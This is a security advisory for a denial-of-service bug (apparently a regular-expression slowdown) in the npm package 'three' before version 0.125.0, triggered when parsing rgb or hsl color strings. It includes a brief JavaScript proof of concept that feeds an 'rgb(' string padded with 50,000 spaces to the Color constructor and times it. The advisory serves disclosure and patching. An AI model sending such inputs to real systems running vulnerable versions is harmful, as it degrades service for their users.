GHSA-fq6p-x6j3-cmmqHighCVSS 7.5

Denial of service in three

Published
March 1, 2021
Last Modified
September 11, 2023

🔗 CVE IDs covered (1)

📋 Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")

🎯 Affected products1

  • npm/three:< 0.125.0

🔗 References (6)